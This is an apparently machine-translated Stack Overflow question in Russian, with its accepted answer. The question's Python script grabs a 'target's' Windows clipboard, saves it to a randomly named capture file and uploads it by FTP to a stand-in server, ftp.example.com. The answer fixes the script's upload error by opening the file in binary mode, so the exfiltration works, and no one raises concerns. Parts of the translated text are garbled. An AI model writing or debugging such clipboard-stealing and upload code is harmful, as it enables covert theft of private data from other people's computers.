2016-06-09 2 views
0

У меня есть это Python скриптсодержимое Отправить файлов по FTP питона

import os 
import random 
import ftplib 
from tkinter import Tk 

# now, we will grab all Windows clipboard data, and put to var 
clipboard = Tk().clipboard_get() 
# print(clipboard) 
# this feature will only work if a string is in the clipboard. not files. 
# so if "hello, world" is copied to the clipboard, then it would work. however, if the target has copied a file or something 
# then it would come back an error, and the rest of the script would come back false (therefore shutdown) 

random_num = random.randrange(100, 1000, 2) 
random_num_2 = random.randrange(1, 9999, 5) 
filename = "capture_clip" + str(random_num) + str(random_num_2) + ".txt" 
file = open(filename, 'w') # clears file, or create if not exist 
file.write(clipboard) # write all contents of var "foo" to file 
file.close() # close file after printing 

# let's send this file over ftp 
session = ftplib.FTP('ftp.example.com','ftp_user','ftp_password') 
session.cwd('//logs//') # move to correct directory 
f = open(filename, 'r') 
session.storbinary('STOR ' + filename, f) 
f.close() 
session.quit() 

Файл будет отправить содержимое с помощью скрипта Python (в переменной «имя файла», например: «capture_clip5704061.txt») на мой FTP-сервер , хотя содержимое файла в локальной системе не равно файлу на FTP-сервере. Как вы можете видеть, я использую модуль ftplib. Вот моя ошибка:

Traceback (most recent call last): 
File "script.py", line 33, in<module> 
session.storbinary('STOR ' + filename, f) 
File "C:\Users\willi\AppData\Local\Programs\Python\Python36\lib\ftplib.py", line 507, in storbinary 
conn.sendall(buf) 
TypeError: a bytes-like object is required, not 'str' 
+0

Извините, это не буквально
теги –

+0

Почему у вас их там в первую очередь? Я использую быстрое регулярное выражение, чтобы заменить их все, поэтому теперь исправлено ... – Laurel

+0

спасибо, я не совсем знал, как заставить их уйти (новое обновление на Stack, srry) –

ответ

0

Ваша библиотека ожидает, что файл будет открыт в двоичном режиме. Попробуйте следующее:

f = open(filename, 'rb') 

Это гарантирует, что данные, считанные из файла является bytes объектом, а не str (для текста).

+0

Да, это сработало. Огромное спасибо! –

Смежные вопросы